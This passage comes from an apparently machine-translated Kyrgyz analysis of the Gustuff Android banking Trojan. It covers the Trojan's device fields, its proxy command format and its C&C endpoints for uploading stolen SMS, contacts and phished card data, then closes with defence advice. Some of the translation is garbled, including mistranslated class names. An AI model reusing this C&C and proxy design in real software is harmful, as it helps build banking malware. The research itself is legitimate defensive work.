  • networkType — учурдагы тармак байланышынын түрү (мисалы: “WIFI”, “MOBILE”). Ката болгон учурда, нөлдү кайтарат.
  • hasGsmSupport – чын – эгер телефон GSM колдосо, антпесе жалган.
  • simReady – SIM картанын абалы.
  • simCountry - ISO өлкөнүн коду (SIM карта провайдеринин негизинде).
  • networkOperator — оператордун аты. Эгер маанини алуу процессинде ката пайда болсо, бул талаанын ордуна ката тексттик билдирүү жазылат.
  • simOperator — Кызмат Провайдеринин Аты (SPN). Эгер маанини алуу процессинде ката пайда болсо, бул талаанын ордуна ката тексттик билдирүү жазылат.
  • версия - бул боттун сыналган версиялары үчүн конфигурация классында сакталат, ал "1.6" менен барабар болгон.

5. Серверден буйруктарды күтүү режимине өтөт. Серверден келген буйруктар төмөнкү форматта келет:

  • 0 ofset – буйрук
  • 1 офсет – sessionId
  • 2 офсет – узундугу
  • 4 офсет - маалыматтар

Буйрук келгенде, колдонмо журналга жазат:
mainLog("Такта { sessionId<%id%>], түрү[<%command%>], узундук[<%length%>] }")

Серверден төмөнкү буйруктар мүмкүн:

ысым буйрук маалыматтар баяндоо
connectionId 0 Туташуу ID Жаңы байланыш түзүңүз
уйкунун 3 убакыт Прокси модулду тындыруу
ПИНГ_ПОНГ 4 - PONG билдирүү жөнөтүү

PONG билдирүүсү 4 байттан турат жана төмөнкүдөй көрүнөт: 0x04000000.

ConnectionId буйругу кабыл алынганда (жаңы байланыш түзүү үчүн) CommandConnection класстын үлгүсүн түзөт ProxyConnection.

  • Проксиге эки класс катышат: ProxyConnection и Бир мезгилдин акырына карата. Класс түзүүдө ProxyConnection дарегине туташтыруу ProxyConfigClass.host: ProxyConfigClass.proxyPort жана JSON объектисин өткөрүү:

 {
    "id":<%connectionId%>
}

Жооп катары сервер байланыш түзүлүшү керек болгон алыскы сервердин дарегин камтыган SOCKS5 билдирүүсүн жөнөтөт. Бул сервер менен өз ара аракеттенүү класс аркылуу ишке ашат Бир мезгилдин акырына карата. Байланыш орнотуу схемалык түрдө төмөнкүчө чагылдырылышы мүмкүн:

Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат

Тармактык өз ара аракеттешүүлөр

Тармактык снайферлер тарабынан трафиктин анализин алдын алуу үчүн, CnC сервери менен тиркеменин өз ара аракеттенүүсү SSL протоколунун жардамы менен корголсо болот. Серверден жана серверге жөнөтүлгөн бардык маалыматтар JSON форматында берилет. Колдонмо иштөө учурунда төмөнкү суроо-талаптарды аткарат:

  • http://<%CnC%>/api/v1/set_state.php — буйруктун аткарылышынын натыйжасы.
  • http://<%CnC%>/api/v1/get.php - буйрук алуу.
  • http://<%CnC%>/api/v1/load_sms.php — жуккан аппараттан SMS билдирүүлөрдү жүктөө.
  • http://<%CnC%>/api/v1/load_ab.php — жуккан аппараттан байланыштардын тизмесин жүктөө.
  • http://<%CnC%>/api/v1/aevents.php – преференция файлында жайгашкан параметрлерди жаңылоодо суроо-талап жасалат.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Market катары маскараланган фишинг терезеси аркылуу алынган маалыматтарды жүктөө.
  • http://<%CnC%>/api/v1/logs.php - журнал маалыматтарын жүктөө.
  • http://<%CnC%>/api/v1/records.php – фишинг терезелери аркылуу алынган маалыматтарды жүктөө.
  • http://<%CnC%>/api/v1/set_error.php – пайда болгон ката жөнүндө билдирүү.

сунуштар

Өз кардарларын мобилдик трояндардын коркунучунан коргоо үчүн компаниялар колдонуучу түзүлүштөрүнө кошумча программалык камсыздоону орнотпостон эле зыяндуу аракеттерди көзөмөлдөөгө жана алдын алууга мүмкүндүк берген комплекстүү чечимдерди колдонушу керек.

Бул үчүн мобилдик трояндарды аныктоо үчүн кол коюу ыкмалары кардардын да, тиркеменин да жүрүм-турумун талдоо технологиялары менен бекемделиши керек. Коргоо ошондой эле санариптик манжа изи технологиясын колдонуу менен түзмөктү идентификациялоо функциясын камтышы керек, ал эсептин атиптик түзүлүштөн колдонулуп жатканын жана алдамчынын колуна түшүп калганын түшүнүүгө мүмкүндүк берет.

Принципиалдуу маанилүү жагдай - бул компанияларга Интернетте гана эмес, ошондой эле мобилдик каналда, мисалы, мобилдик банкинг үчүн тиркемелерде, криптовалюталар менен транзакциялар үчүн жана башка бардык жерде пайда болгон тобокелдиктерди көзөмөлдөөгө мүмкүндүк берүүчү каналдар аралык анализдин болушу. каржылык операцияларды жүзөгө ашырууга болот.

Колдонуучулар үчүн коопсуздук эрежелери:

  • Android OS менен мобилдик түзүлүшкө Google Play'ден башка булактардан тиркемелерди орнотпоңуз, тиркеме сураган укуктарга өзгөчө көңүл буруңуз;
  • Android OS жаңыртууларын үзгүлтүксүз орнотуу;
  • жүктөлгөн файлдардын кеңейтүүлөрүнө көңүл буруңуз;
  • шектүү ресурстарга барбаңыз;
  • SMS билдирүүлөрүндө алынган шилтемелерди баспаңыз.

Башкы ролдо Семён Рогачева, Group-IB компьютердик криминалистикалык лабораториясында зыяндуу программаларды изилдөө боюнча кенже адис.

Source: www.habr.com

Комментарий кошуу